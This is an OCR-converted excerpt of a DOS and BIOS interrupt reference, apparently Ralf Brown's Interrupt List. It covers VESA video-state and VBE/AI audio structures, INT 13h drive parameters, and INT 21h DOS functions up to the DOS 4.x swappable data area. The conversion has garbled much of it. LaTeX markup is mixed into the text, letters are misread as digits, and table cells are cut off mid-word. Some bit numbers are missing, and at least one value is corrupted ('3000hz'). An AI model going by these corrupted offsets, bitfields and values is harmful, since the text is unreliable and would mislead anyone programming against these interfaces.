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```

            bit 13: VBE/AF v1.0P accelerated video mode
            bit 14: linear frame buffer enabled (VBE v2.0+)
            bit 15: don't clear video memory
    01h failed
    SeeAlso: AH=0Fh,AX=4E04h,AX=4F02h
-------V-104F04
INT 10 - VESA SuperVGA BIOS - SAVE/RESTORE SuperVGA VIDEO STATE
AX = 4F04h
DL = subfunction
00h get state buffer size
Return: BX = number of 64-byte blocks needed
01h save video states
ES:BX -> buffer
02h restore video states
ES:BX -> buffer
CX = states to save/restore (see \#00085)
Return: AL = 4Fh if function supported
AH = status
00h successful
01h failed
SeeAlso: AH=1Ch,AX=5F90h,AX=5FA0h
Bitfields for VESA SuperVGA states to save/restore:
Bit(s) Description (Table 00085)
0 video hardware state
l video BIOS data state
2 video DAC state
3 SuperVGA register state
SeeAlso: \#00048,\#00186
-------s-104F13BX0002
INT 10 - VESA VBE/AI (Audio Interface) - QUERY DEVICE
AX = 4F13h
BX = 0002h
CX = handle
DX = query
0001h return length of GeneralDeviceClass
0002h return copy of GeneralDeviceClass (see \#00112)
0003h return length of Volume Info Structure
0004h return copy of Volume Info Structure (see \#00122)
0005h return length of Volume Services Structure
0006h return copy of Volume Services Structure (see \#00124)
0007h-000Fh reserved
0010h-FFFFh device-specific
SI:DI -> buffer (functions 0002h,0004h,0006h)
Return: AL = 4Fh if function supported
AH = status
00h successful
SI:DI = length (functions 1,3,5)

```

SI: DI buffer filled (functions 2,4,6) 01h failed
Note: functions 0003h to 0006h are only supported for the Volume device
```

Format of GeneralDeviceClass structure:
Offset Size Description (Table 00112)
OOh 4 BYTEs name of the structure ("GENI")
04h DWORD structure length
08h WORD type of device (1=Wave, 2=MIDI)
OAh WORD version of VESA driver support (0100h for 1.00)
10h var for CX=handle for Wave device:
Wave Info structure (see \#00113)
some bytes ???
for CX=handle for MIDI device:
MIDI Info Structure (see \#00118)
first }8\mathrm{ bytes of MIDI Service Structure ???
SeeAlso: \#00122,\#00124
Format of WAVE Info Structure:
Offset Size Description (Table 00113)
OOh 4 BYTEs name of the structure ("WAVI")
04h DWORD structure length [0000007Eh]
08h DWORD driver software version [00000003h]
OCh 32 BYTEs vendor name, etc. (ASCIZ string)
2Ch 32 BYTEs vendor product name
4Ch 32 BYTEs vendor chip/hardware description
6Ch BYTE installed board number
6Dh 3 BYTEs unused data
70h DWORD feature bits (see \#00114)
74h WORD user determined preference field
76h WORD memory required for driver use [0200h]
78h WORD number of timer tick callbacks per second [0000h]
7Ah WORD channels: 1 = mono, 2 = stereo
stereo is assumed to be interleaved data
7Ch WORD bitfield of max sample sizes (see \#00115)
SeeAlso: \#00118
Bitfields for Wave feature bits:
Bit(s) Description (Table 00114)
0 8000hz Mono Playback
1 8000hz Mono Record
8000hz Stereo Record
3000hz Stereo Playback
8000hz Full Duplex Play/Record
5 11025hz Mono Playback
6 11025hz Mono Record
7 11025hz Stereo Record
11025hz Stereo Playback

```

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\begin{tabular}{|c|c|}
\hline 9 & 11025hz Full Duplex Play/Record \\
\hline 10 & 22050hz Mono Playback \\
\hline 11 & 22050hz Mono Record \\
\hline 12 & 22050hz Stereo Record \\
\hline 13 & 22050hz Stereo Playback \\
\hline 14 & 22050hz Full Duplex Play/Record \\
\hline 15 & 44100hz Mono Playback \\
\hline 16 & 44100hz Mono Record \\
\hline 17 & 44100hz Stereo Record \\
\hline 18 & \(44100 h z\) Stereo Playback \\
\hline 19 & 44100hz Full Duplex Play/Record \\
\hline 20-26 & reserved (0) \\
\hline 27 & driver must pre-handle the data \\
\hline 28 & Variable Sample mono playback \\
\hline 29 & Variable Sample stereo playback \\
\hline 30 & Variable Sample mono record \\
\hline 31 & Variable Sample stereo record \\
\hline \multicolumn{2}{|l|}{(Table 00115)} \\
\hline \multicolumn{2}{|l|}{Values for Sample data size:} \\
\hline 01h & 8bit play \\
\hline 02h & 16bit play \\
\hline 10h & 8bit record \\
\hline 20h & 16bit record \\
\hline \multicolumn{2}{|l|}{Format of WAVE Audio Services structure:} \\
\hline Offset & Size Description (Table 00116) \\
\hline 00h & 4 BYTEs name of the structure \\
\hline 04h & DWORD structure length \\
\hline \multicolumn{2}{|l|}{08h 16 BYTEs for future expansion} \\
\hline \multicolumn{2}{|l|}{---entry points (details???)---} \\
\hline 18h & DWORD DeviceCheck \\
\hline & 11h compression (see also \#00117) \\
\hline & 12h driver state \\
\hline & 13 h get current pos \\
\hline & 14h sample rate \\
\hline & 15 h set preference \\
\hline & 16h get DMA,IRQ \\
\hline & 17h get IO address \\
\hline & 18 h get mem address \\
\hline & 19h get mem free \\
\hline & 1Ah full duplex \\
\hline & 1Bh get block size \\
\hline & 1Ch get PCM format \\
\hline & 1Dh enable PCM format \\
\hline & 80h-.. vendors can add DevChks above 0x80 \\
\hline 1Ch & DWORD PCMInfo \\
\hline 20h & DWORD PlayBlock \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|}
\hline 24h & DWORD & PlayCont \\
\hline 28h & DWORD & RecordBlock \\
\hline 2Ch & DWORD & RecordCont \\
\hline 30h & DWORD & PauselO \\
\hline 34h & DWORD & ResumelO \\
\hline 38h & DWORD & StoplO \\
\hline 3Ch & DWORD & WavePrepare \\
\hline 40h & DWORD & WaveRegister \\
\hline 44h & DWORD & GetLastError \\
\hline & & supported feature/function \\
\hline & & d sample rate \\
\hline & & d block length \\
\hline & & d block address \\
\hline & & p. missed an IRQ \\
\hline & & 't understand the PCM size/format \\
\hline & & vendors specific errors \\
\hline 48h & DWORD & TimerTick \\
\hline 4Ch & DWORD & AppIPSyncCB: CallBack: play filled in by the app \\
\hline 50h & DWORD & AppIRSyncCB: CallBack: rec filled in by the app \\
\hline SeeAlso & : \#00120 & \\
\hline (Table & 00117) & \\
\hline Values & for type of & pression: \\
\hline 01h & IMA play & \\
\hline 02h & ALAW play & \\
\hline 03h & ULAW play & \\
\hline 11h & IMA reco & \\
\hline 12h & ALAW rec & \\
\hline 13h & ULAW re & \\
\hline Format & of MIDI I & ucture: \\
\hline Offset & Size D & tion (Table 00118) \\
\hline 00h & 4 BYTEs & name of the structure ("MIDI") \\
\hline 04h & DWORD & structure length \\
\hline 08h & DWORD & driver software version [00000003h] \\
\hline 0Ch 32 & 2 BYTEs v & name, etc. (ASCIZ string) \\
\hline 2Ch 32 & 2 BYTEs v & product name \\
\hline 4 Ch 32 & BYTEs & chip/hardware description \\
\hline 6Ch & BYTE in & d board number \\
\hline 6Dh & 3 BYTEs & unused data \\
\hline 70h 14 & BYTEs th & ch library file name [OPL2.BNK 00..] \\
\hline 7Eh & DWORD & feature bits (see \#00119) \\
\hline 80h & WORD u & termined preference field \\
\hline 82h & WORD m & y required for driver use \\
\hline 84h & WORD \# & mer tick callbacks per second \\
\hline 86h & WORD m & of tones (voices, partials) \\
\hline SeeAlso & : \#00112 & 20,\#00122 \\
\hline
\end{tabular}

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(Table 00121)
Values for MIDI Registered Patch Types:
10h OPL2
11h OPL3
Format of Volume Info Structure:
Offset Size Description (Table 00122)
00h 4 BYTEs name of the structure ("VOLI")
04h DWORD structure length (00000092h)
08h DWORD driver software version [00000001h]
OCh 32 BYTEs vendor name, etc. (ASCIZ string)
2Ch 32 BYTEs vendor product name
4Ch 32 BYTEs vendor chip/hardware description
6Ch BYTE installed board number (0 for 1st/only board)
6Dh 3 BYTEs unused data (0)
70h 24 BYTEs text name of the mixer channel
88h DWORD features bits (see \#00123)
8Ch WORD minimum volume setting
8Eh WORD maximum volume setting
90h WORD attenuation/gain crossover
SeeAlso: \#00112,\#00124
Bitfields for Volume feature bits:
Bit(s) Description (Table 00123)
0 Stereo Volume control available
2 Low Pass Filter is available
3 High Pass Filter is available
4 Parametric Tone Control is available
5 selectable output paths
8 Azimuth Field positioning supported
9 Phi Field positioning supported
10-30 unused???
31 Master Volume device
Format of Volume Services Structure:
Offset Size Description (Table 00124)
00h 4 BYTEs name of the structure ("VOLS")
04h DWORD structure length (00000038h)
08h 16 BYTEs 16 bytes for future expansion (0)
---entry points (details???)---
18h DWORD device check
0011h filter range
0012h filter setting
0013h filter current
0014h tone range
0015h tone setting
0016h tone current
0017h path

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```

    0018h get IO address
    0080h-.. vendors can add DevChks above 0x80
    1Ch DWORD set vol to an absolute setting
01h User master volume setting
02h application master volume setting
20h DWORD set 3D volume
24h DWORD tone control
28h DWORD filter control
2Ch DWORD output path
30h DWORD reset channel
34h DWORD get last error
01h unsupported feature/function
02h out of range parameter value
80h+ vendor-specific errors
SeeAlso: \#00116,\#00120
--------s-104F13BX0003-
INT 10 - VESA VBE/AI (Audio Interface) - OPEN DEVICE
AX = 4F13h
BX = 0003h
CX = handle
DX = API set (16/32-bit)
SI = segment ???
Return: AL = 4Fh if function supported
AH = status
00h successful
SI:CX -> memory ???
01h failed
SeeAlso: AX=4F13h/BX=0000h,AX=4F13h/BX=0002h,AX=4F13h/BX=0004h
--------s-104F13BX0004
INT 10 - VESA VBE/AI (Audio Interface) - CLOSE DEVICE
AX = 4F13h
BX = 0004h
CX = handle
Return: AL = 4Fh if function supported
AH = status
00h successful
01h failed
SeeAlso: AX=4F13h/BX=0000h,AX=4F13h/BX=0003h,AX=4F13h/BX=0005h
-------s-104F13BX0005
INT 10 - VESA VBE/AI (Audio Interface) - UNINSTALL DRIVER
AX = 4F13h
BX = 0005h
Return: AL = 4Fh if function supported
AH = status
00h successful
01h failed
SeeAlso: AX=4F13h/BX=0000h,AX=4F13h/BX=0006h
--------s-104F13BX0006-

```

INT 10 - VESA VBE/AI (Audio Interface) - DRIVER CHAIN/UNCHAIN
\(A X=4 F 13 h\)
\(B X=0006 h\)
Return: \(\mathrm{AL}=4 \mathrm{Fh}\) if function supported
AH = status
00h successful
01h failed
SeeAlso: \(A X=4 F 13 h / B X=0000 \mathrm{~h}, \mathrm{AX}=4 \mathrm{~F} 13 \mathrm{~h} / \mathrm{BX}=0005 \mathrm{~h}\)
INT 13 - DISK - GET DRIVE PARAMETERS (PC,XT286,CONV,PS,ESDI,SCSI)
AH \(=08 \mathrm{~h}\)
DL = drive (bit 7 set for hard disk)
ES: DI = 0000h:0000h to guard against BIOS bugs
Return: CF set on error
AH = status (07h) (see \#00234)
CF clear if successful
AH \(=00 \mathrm{~h}\)
AL = 00h on at least some BIOSes
BL = drive type (AT/PS2 floppies only) (see \#00242)
\(\mathrm{CH}=\) low eight bits of maximum cylinder number
\(\mathrm{CL}=\) maximum sector number (bits 5-0)
high two bits of maximum cylinder number (bits 7-6)
DH = maximum head number
DL = number of drives
ES: DI -> drive parameter table (floppies only)
Notes: may return successful even though specified drive is greater than the number of attached drives of that type (floppy/hard); check DL to ensure validity
for systems predating the IBM AT, this call is only valid for hard disks, as it is implemented by the hard disk BIOS rather than the ROM BIOS
the IBM ROM-BIOS returns the total number of hard disks attached to the system regardless of whether \(D L>=80 \mathrm{~h}\) on entry.
Toshiba laptops with HardRAM return \(D L=02 h\) when called with \(D L=80 h\), but fail on \(\mathrm{DL}=81 \mathrm{~h}\). The BIOS data at \(40 \mathrm{~h}: 75 \mathrm{~h}\) correctly reports 01 h . may indicate only two drives present even if more are attached; to ensure a correct count, one can use \(\mathrm{AH}=15 \mathrm{~h}\) to scan through possible drives
Reportedly some Compaq BIOSes with more than one hard disk controller return only the number of drives DL attached to the corresponding controller as specified by the DL value on entry. However, on Compaq machines with "COMPAQ" signature at FOOOh: FFEAh, MS-DOS/PC DOS IO.SYS/IBMBIO.COM call INT 15/AX=E400h and INT 15/AX=E480h to enable Compaq "mode 2" before retrieving the count of hard disks installed in the system (DL) from this function.
the maximum cylinder number reported in CX is usually two less than the total cylinder count reported in the fixed disk parameter table (see INT 41h,INT 46h) because early hard disks used the last cylinder for testing purposes; however, on some Zenith machines, the maximum

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cylinder number reportedly is three less than the count in the fixed disk parameter table.
for BIOSes which reserve the last cylinder for testing purposes, the cylinder count is automatically decremented
on PS/1s with IBM ROM DOS 4, nonexistent drives return CF clear, \(\mathrm{BX}=\mathrm{CX}=0000 \mathrm{~h}\), and ES: \(\mathrm{DI}=0000 \mathrm{~h}: 0000 \mathrm{~h}\)
machines with lost CMOS memory may return invalid data for floppy drives. In this situation CF is cleared, but AX, BX, CX, DX, DH, DI, and ES contain only 0 . At least under some circumstances, MS-DOS/ PC DOS IO.SYS/IBMBIO.COM just assumes a 360 KB floppy if it sees CH to be zero for a floppy.
the PC-Tools PCFORMAT program requires that \(\mathrm{AL}=00 \mathrm{~h}\) before it will proceed with the formatting
if this function fails, an alternative way to retrieve the number of floppy drives installed in the system is to call INT 11h.
In fact, the MS-DOS/PC-DOS IO.SYS/IBMBIO.COM attempts to get the number of floppy drives installed from INT 13/AH=08h, when INT 11h AX bit 0 indicates there are no floppy drives installed. In addition to testing the CF flag, it only trusts the result when the number of sectors (CL preset to zero) is non-zero after the call.
BUGS: several different Compaq BIOSes incorrectly report high-numbered drives (such as \(90 \mathrm{~h}, \mathrm{BOh}\), DOh, and FOh) as present, giving them the same geometry as drive 80h; as a workaround, scan through disk numbers, stopping as soon as the number of valid drives encountered equals the value in 0040h:0075h
a bug in Leading Edge 8088 BIOS 3.10 causes the \(\mathrm{DI}, \mathrm{SI}, \mathrm{BP}, \mathrm{DS}\), and ES registers to be destroyed
some Toshiba BIOSes (at least before 1995, maybe some laptops??? with 1.44 MB floppies) have a bug where they do not set the ES: DI vector even for floppy drives. Hence these registers should be preset with zero before the call and checked to be non-zero on return before using them. Also it seems these BIOSes can return wrong info in BL and CX, as S/DOS 1.0 can be configured to preset these registers as for an 1.44 MB floppy.
the PS/2 Model 30 fails to reset the bus after INT 13/AH=08h and INT \(13 / \mathrm{AH}=15 \mathrm{~h}\). A workaround is to monitor for these functions and perform a transparent INT 13/AH=01h status read afterwards. This will reset the bus. The MS-DOS 6.0 IO.SYS takes care of this by installing a special INT 13h interceptor for this purpose.
AD-DOS may leave interrupts disabled on return from this function. Some Microsoft software explicitly sets STI after return.
SeeAlso: AH=06h"Adaptec",AH=13h"SyQuest", AH=48h,AH=15h,INT 1E
SeeAlso: INT 41"HARD DISK 0"
(Table 00242)
Values for diskette drive type:
01h 360K
02h 1.2M

03h 720K
04h 1.44M
05h ??? (reportedly an obscure drive type shipped on some IBM machines)
2.88 M on some machines (at least AMI 486 BIOS )

06h 2.88M
10h ATAPI Removable Media Device
--------b-1584--------------------------------
INT 15 - V20-XT-BIOS - JOYSTICK SUPPORT
AH \(=84 \mathrm{~h}\)
DX \(=\) subfunction 0000h read joystick switches

Return: AL bits 7-4 = switch settings
other: read positions of joysticks as indicated by bits 0-3
Return: \(A X=X\) position of joystick \(A\) (if \(D X\) bit 0 set)
\(B X=Y\) position of joystick \(A\) (if DX bit 1 set)
\(C X=X\) position of joystick \(B\) (if DX bit 2 set)
\(\mathrm{DX}=\mathrm{Y}\) position of joystick B (if DX bit 3 set)
Return: CF set on error
AH = status (see \#00496)
CF clear if successful
Program: V20-XT-BIOS is a ROM BIOS replacement with extensions by Peter Koehlmann / c't magazine
SeeAlso: AH=84h"PS",INT 10/AH=0Eh/CX=ABCDh
--------B-1B
INT 1B C - KEYBOARD - CONTROL-BREAK HANDLER
Desc: this interrupt is automatically called when INT 09 determines that Control-Break has been pressed
Note: normally points to a short routine in DOS which sets the Ctrl-C flag, thus invoking INT 23h the next time DOS checks for Ctrl-C.
SeeAlso: INT 23,MEM 0040h:0071h
--------B-1C
INT 1C - TIME - SYSTEM TIMER TICK
Desc: this interrupt is automatically called on each clock tick by the INT 08 handler
Notes: this is the preferred interrupt to chain when a program needs to be invoked regularly
not available on NEC 9800-series PCs
SeeAlso: INT 08,INT E2"PC Cluster"
--------D-2100
INT 21 - DOS 1+ - TERMINATE PROGRAM
\(\mathrm{AH}=00 \mathrm{~h}\)
CS = PSP segment
Notes: Microsoft recommends using INT 21/AH=4Ch for DOS 2+ this function sets the program's return code (ERRORLEVEL) to 00h execution continues at the address stored in INT 22 after DOS performs whatever cleanup it needs to do (restoring the INT 22,INT 23,INT 24 vectors from the PSP assumed to be located at offset 0000 h in the segment indicated by the stack copy of CS, etc.)

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if the PSP is its own parent, the process's memory is not freed; if INT 22 additionally points into the terminating program, the process is effectively NOT terminated
not supported by MS Windows 3.0 DOSX.EXE DOS extender
SeeAlso: AH=26h,AH=31h,AH=4Ch,INT 20,INT 22
--------D-2101
INT 21 - DOS 1+ - READ CHARACTER FROM STANDARD INPUT, WITH ECHO AH \(=01 \mathrm{~h}\)
Return: AL = character read
Notes: ^C/^Break are checked, and INT 23 executed if read
\(\wedge P\) toggles the DOS-internal echo-to-printer flag
\(\wedge Z\) is not interpreted, thus not causing an EOF if input is redirected character is echoed to standard output standard input is always the keyboard and standard output the screen under DOS 1.x, but they may be redirected under DOS 2+
SeeAlso: \(\mathrm{AH}=06 \mathrm{~h}, \mathrm{AH}=07 \mathrm{~h}, \mathrm{AH}=08 \mathrm{~h}, \mathrm{AH}=0 \mathrm{Ah}\)
--------v-21010F
INT 21 - VIRUS - "Susan" - INSTALLATION CHECK
\(A X=010 F h\)
Return: \(A X=7553 \mathrm{~h}\) ("Su") if resident
SeeAlso: INT 16/AH=DDh"VIRUS",INT 21/AX=0B56h
--------D-2102
INT 21 - DOS 1+ - WRITE CHARACTER TO STANDARD OUTPUT
AH \(=02 \mathrm{~h}\)
DL = character to write
Return: AL = last character output (despite the official docs which state nothing is returned) (at least DOS 2.1-7.0)
Notes: ^C/^Break are checked, and INT 23 executed if pressed standard output is always the screen under DOS 1.x, but may be redirected under DOS 2+
the last character output will be the character in DL unless DL=09h on entry, in which case \(A L=20 \mathrm{~h}\) as tabs are expanded to blanks if standard output is redirected to a file, no error checks (writeprotected, full media, etc.) are performed
SeeAlso: \(A H=06 h, A H=09 h\)
--------D-2103-
INT 21 - DOS \(1+\) - READ CHARACTER FROM STDAUX \(A H=03 h\)
Return: AL = character read
Notes: keyboard checked for ^ ^/^Break, and INT 23 executed if detected STDAUX is usually the first serial port
SeeAlso: AH=04h,INT 14/AH=02h,INT E0/CL=03h
--------D-2104
INT 21 - DOS 1+ - WRITE CHARACTER TO STDAUX \(A H=04 h\)
DL = character to write
Notes: keyboard checked for ^C/^Break, and INT 23 executed if detected STDAUX is usually the first serial port
if STDAUX is busy, this function will wait until it becomes free
SeeAlso: AH=03h,INT 14/AH=01h,INT EO/CL=04h
--------D-2105
INT 21 - DOS 1+ - WRITE CHARACTER TO PRINTER
AH \(=05 \mathrm{~h}\)
DL = character to print
Notes: keyboard checked for ^C/^Break, and INT 23 executed if detected STDPRN is usually the first parallel port, but may be redirected under DOS 2+
if the printer is busy, this function will wait
SeeAlso: INT 17/AH=00h
--------D-2131
INT 21 - DOS 2+ - TERMINATE AND STAY RESIDENT
AH \(=31 \mathrm{~h}\)
AL = return code
DX = number of paragraphs to keep resident
Return: never
Notes: the value in DX only affects the memory block containing the PSP; additional memory allocated via \(\mathrm{AH}=48 \mathrm{~h}\) is not affected
the minimum number of paragraphs which will remain resident is 11 h for DOS 2.x and 06h for DOS 3.0+
most TSRs can save some memory by releasing their environment block before terminating (see \#01378 at \(\mathrm{AH}=26 \mathrm{~h}, \mathrm{AH}=49 \mathrm{~h}\) )
any open files remain open, so one should close any files which will not be used before going resident; to access a file which is left open from the TSR, one must switch PSP segments first (see AH=50h)
SeeAlso: AH=00h,AH=4Ch,AH=4Dh,INT 20,INT 22,INT 27
--------D-2132
INT 21 - DOS 2+ - GET DOS DRIVE PARAMETER BLOCK FOR SPECIFIC DRIVE AH \(=32 h\)
\(D L=\) drive number \((00 \mathrm{~h}=\) default, \(01 \mathrm{~h}=\mathrm{A}:\), etc \()\)
Return: \(\mathrm{AL}=\) status
00h successful
DS: BX -> Drive Parameter Block (DPB) (see \#01395) for specified drive
FFh invalid or network drive
Notes: the OS/2 compatibility box supports the DOS 3.3 version of this call except for the DWORD at offset 12 h
this call updates the DPB by reading the disk; the DPB may be accessed via the DOS list of lists (see \(\# 01627\) at \(A H=52 h\) ) if disk access is not desirable.
undocumented prior to the release of DOS 5.0; only the DOS 4.0+ version of the DPB has been documented, however
supported by DR DOS 3.41+; DR DOS 3.41-6.0 return the same data as MS-DOS 3.31
IBM ROM-DOS v4.0 also reports invalid/network ( \(A L=F F h\) ) on the ROM drive SeeAlso: \(A H=1 F h, A H=52 h, A X=7302 h\)

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Format of DOS Drive Parameter Block:
Offset Size Description (Table 01395)
00 h BYTE drive number ( \(00 \mathrm{~h}=\mathrm{A}:, 01 \mathrm{~h}=\mathrm{B}\) : , etc)
01h BYTE unit number within device driver
02h WORD bytes per sector
04h BYTE highest sector number within a cluster
05h BYTE shift count to convert clusters into sectors
06h WORD number of reserved sectors at beginning of drive
08h BYTE number of FATs
09h WORD number of root directory entries
OBh WORD number of first sector containing user data
ODh WORD highest cluster number (number of data clusters +1) 16-bit FAT if greater than 0FF6h, else 12-bit FAT
OFh BYTE number of sectors per FAT
10h WORD sector number of first directory sector
12h DWORD address of device driver header (see \#01646)
16h BYTE media ID byte (see \#01356)
17h BYTE 00h if disk accessed, FFh if not
18h DWORD pointer to next DPB
---DOS 2.x---
1Ch WORD cluster containing start of current directory, \(0000 \mathrm{~h}=\) root,
FFFFh = unknown
1Eh 64 BYTEs ASCIZ pathname of current directory for drive
---DOS 3.x---
1Ch WORD cluster at which to start search for free space when writing
1Eh WORD number of free clusters on drive, FFFFh = unknown
---DOS 4.0-6.0---
OFh WORD number of sectors per FAT
11h WORD sector number of first directory sector
13h DWORD address of device driver header (see \#01646)
17h BYTE media ID byte (see \#01356)
18h BYTE 00h if disk accessed, FFh if not
19h DWORD pointer to next DPB
1Dh WORD cluster at which to start search for free space when writing, usually the last cluster allocated
1Fh WORD number of free clusters on drive, FFFFh = unknown
SeeAlso: \#01357,\#01663,\#01787 at AX=7302h,\#04039 at INT E0/CL=71h
--------D-213305
INT 21 - DOS 4.0+ - GET BOOT DRIVE AX \(=3305 \mathrm{~h}\)
Return: \(\mathrm{DL}=\) boot drive ( \(1=\mathrm{A}:, \ldots\) )
Notes: This function does not use any of the DOS-internal stacks and may thus be called at any time. It is directly dispatched from the INT 21h entry point with interrupts disabled.
NEC 9800-series PCs always call the boot drive A: and assign the other drive letters sequentially to the other drives in the system
this call is supported by OS/2 Warp 3.0, but not earlier versions of OS/2; it is also supported by Novell DOS 7
INT 21 OU - DOS 4.x only - internal - GET DOS SWAPPABLE DATA AREAS
    \(A X=5 D 0 B h\)
Return: CF set on error
        AX = error code (see \#01680)
    CF clear if successful
    DS: SI -> swappable data area list (see \#01689)
Notes: copying and restoring the swappable data areas allows DOS to be
        reentered unless it is in a critical section delimited by calls to
        INT \(2 \mathrm{~A} / \mathrm{AH}=80 \mathrm{~h}\) and INT \(2 \mathrm{~A} / \mathrm{AH}=81 \mathrm{~h}, 82 \mathrm{~h}\)
    SHARE and other DOS utilities consult the byte at offset 04 h in the
        DOS data segment (see INT 2F/AX=1203h) to determine the SDA format
        in use: \(00 \mathrm{~h}=\mathrm{DOS} 3 . x, 01 \mathrm{~h}=\mathrm{DOS} 4.0-6.0\), other \(=\) error.
    DOS 5+ use the SDA format listed below, but revert back to the DOS 3.x
        call for finding the SDA (see \#01687); Novell DOS 7 does not support
        this function, either.
SeeAlso: AX=5D06h,INT 2A/AH=80h,INT 2A/AH=81h,INT 2A/AH=82h,INT 2F/AX=1203h
Format of DOS 4.x swappable data area list:
Offset Size Description (Table 01689)
OOh WORD count of data areas
02h N BYTEs "count" copies of data area record
    Offset Size Description
    00h DWORD address
    04h WORD length and type
        bit 15 set if swap always, clear if swap in DOS
        bits 14-0: length in bytes
SeeAlso: \#01690
Format of DOS 4.0-6.0 swappable data area:
Offset Size Description (Table 01690)
    -34 BYTE printer echo flag (00h off, FFh active)
    -31 BYTE current switch character (ignored by DOS 5+)
    -30 BYTE current memory allocation strategy (see AH=58h)
    -28 BYTE incremented on each INT \(21 / A X=5 E 01 \mathrm{~h}\) call
    -27 16 BYTEs machine name set by INT 21/AX=5E01h
    -11 5 WORDs zero-terminated list of offsets which need to be patched to
        enable critical-section calls (see INT 2A/AH=80h)
        (all offsets are 0DOCh, but this list is still present for
        DOS 3.x compatibility)
    -1 BYTE unused padding
Note: the above data is not actually part of the SDA, and is much more likely
        to change between DOS versions/OEMs than data in the SDA itself
---start of actual SDA---
00h BYTE critical error flag ("ErrorMode")
01h BYTE InDOS flag (count of active INT 21 calls)
02h BYTE drive on which current critical error occurred or FFh
    (DR DOS 3.41/5.0 set this to 00h when no critical error)
\begin{tabular}{|c|c|c|}
\hline 03h & BYTE & locus of last error \\
\hline 04h & WORD & extended error code of last error \\
\hline 06h & BYTE & suggested action for last error \\
\hline 07h & BYTE & class of last error \\
\hline 08h & DWORD & ES: DI pointer for last error \\
\hline 0Ch & DWORD & current DTA (Disk Transfer Address) \\
\hline & & note: may point into SDA during the DOS EXEC function (see \(A H=4 B h\) ), so programs which swap the SDA must be prepared to move the DTA to a private buffer if they might be invoked during an EXEC \\
\hline 10h & WORD & current PSP \\
\hline 12h & WORD & stores SP across an INT 23 \\
\hline 14h & WORD r & return code from last process termination (zerod after reading with \(A H=4 D h\) ) \\
\hline 16h & BYTE & current drive \\
\hline 17h & BYTE & extended break flag \\
\hline 18h & BYTE & flag: code page switching \\
\hline 19h & BYTE & flag: copy of previous byte in case of INT 24 Abort \\
\hline -rem & ainder need & eed only be swapped if in DOS--- \\
\hline 1Ah & WORD & value of AX on call to INT 21 \\
\hline & & Note: does not contain correct value on functions \(00 \mathrm{~h}-0 \mathrm{Ch}\), \(50 \mathrm{~h}, 51 \mathrm{~h}, 59 \mathrm{~h}\), or 62 h \\
\hline 1Ch & WORD & PSP segment for sharing/network (0000h = local) \\
\hline 1Eh & WORD & network machine number for sharing/network (0000h = local) \\
\hline 20h & WORD & first usable memory block found when allocating memory \\
\hline 22h & WORD & best usable memory block found when allocating memory \\
\hline 24h & WORD & last usable memory block found when allocating memory \\
\hline 26h & WORD & memory size in paragraphs (used only during initialization) \\
\hline 28h & WORD & last entry checked during directory search \\
\hline 2Ah & BYTE & flag: nonzero if INT 24 Fail \\
\hline 2Bh & BYTE & flags: allowable INT 24 responses (passed to INT 24 in AH) \\
\hline 2Ch & BYTE & flag: do not set directory if nonzero \\
\hline 2Dh & BYTE & flag: program aborted by \({ }^{\wedge} \mathrm{C}\) \\
\hline 2Eh & BYTE & flag: allow embedded blanks in FCB may also allow use of "*" wildcard in FCBs \\
\hline 2Fh & BYTE & padding (unused) \\
\hline 30h & BYTE & day of month \\
\hline 31h & BYTE & month \\
\hline 32h & WORD y & year - 1980 \\
\hline 34h & WORD & number of days since 01jan1980 \\
\hline 36h & BYTE & day of week ( \(0=\) Sunday) \\
\hline 37h & BYTE & flag: console swapped during read from device \\
\hline 38h & BYTE & flag: safe to call INT 28 if nonzero \\
\hline 39h & BYTE fla & flag: abort currently in progress, turn INT 24 Abort into Fail \\
\hline \multicolumn{2}{|l|}{3Ah 30 BYTEs d} & device driver request header (see \#02597 at INT 2F/AX=0802h) for device calls \\
\hline 58h & DWORD & pointer to device driver entry point (used in calling driver) \\
\hline \multicolumn{2}{|l|}{5Ch 22 BYTEs dever} & device driver request header for I/O calls \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|}
\hline 80h & DWORD & includes following eight bytes for some calls) pointer to device \(1 / O\) buffer \\
\hline 84h & WORD & part of request header at 72 h \\
\hline 86h & WORD p & part of request header at 72h (0) \\
\hline 88h & BYTE ty & type of PSP copy (00h=simple for INT \(21 / \mathrm{AH}=26 \mathrm{~h}, \mathrm{FFh}=\) make child) \\
\hline 89h & DWORD & start offset of file region to lock/unlock \\
\hline 8Dh & DWORD & length of file region to lock/unlock \\
\hline 91h & BYTE pad & padding (unused) \\
\hline 92h & 3 BYTEs & 24-bit user number (see \(\mathrm{AH}=30 \mathrm{~h}\) ) \\
\hline 95h & BYTE O & OEM number ( see \#01394 at \(\mathrm{AH}=30 \mathrm{~h}\) ) \\
\hline 96h & 6 BYTEs & CLOCK\$ transfer record (see \#01688 at AX=5D06h) \\
\hline 9Ch & BYTE deve & device I/O buffer for single-byte I/O functions \\
\hline 9Dh & BYTE p & padding \\
\hline \multicolumn{3}{|l|}{9Eh 128 BYTEsbuffer for filename} \\
\hline 11Eh & 128 BYTEs & s buffer for filename (rename destination name) \\
\hline \multicolumn{3}{|l|}{19Eh 21 BYTEs findfirst/findnext search data block (see \#01626 at AH=4Eh)} \\
\hline \multicolumn{3}{|l|}{1B3h 32 BYTEs directory entry for found file (see \#01394 at AH=11h)} \\
\hline \multicolumn{3}{|l|}{1D3h 88 BYTEs copy of current directory structure for drive being accessed} \\
\hline \multicolumn{3}{|l|}{22Bh 11 BYTEs FCB-format filename for device name compa} \\
\hline 236h & BYTE t & terminating NUL for above filename \\
\hline \multicolumn{3}{|l|}{237h 11 BYTEs wildcard destination specification for rename (FCB format)} \\
\hline 242h & BYTE t & terminating NUL for above filespec \\
\hline 243h & BYTE Pad & padding??? \\
\hline 244h & WORD d & destination starting sector (cluster???) \\
\hline 246h & 5 BYTEs & extra space to allow a directory entry to be stored starting at offset 22Bh \\
\hline 24Bh & BYTE & extended FCB file attributes \\
\hline 24Ch & BYTE t & type of FCB (00h regular, FFh extended) \\
\hline 24Dh & BYTE dir & directory search attributes \\
\hline 24Eh & BYTE fil & file open/access mode \\
\hline 24Fh & BYTE fla & flag: nonzero if file was deleted \\
\hline 250h & BYTE fla & flag: device name found on rename, or file not found \\
\hline 251h & BYTE f & flag: splice file name and directory name together \\
\hline 252h & BYTE f & flag indicating how DOS function was invoked ( \(00 \mathrm{~h}=\) direct \(\mathrm{INT} 20 /\) INT 21, FFh \(=\) server call \(\mathrm{AX}=5 \mathrm{D} 00 \mathrm{~h}\) ) \\
\hline 253h & BYTE s & sector position within cluster \\
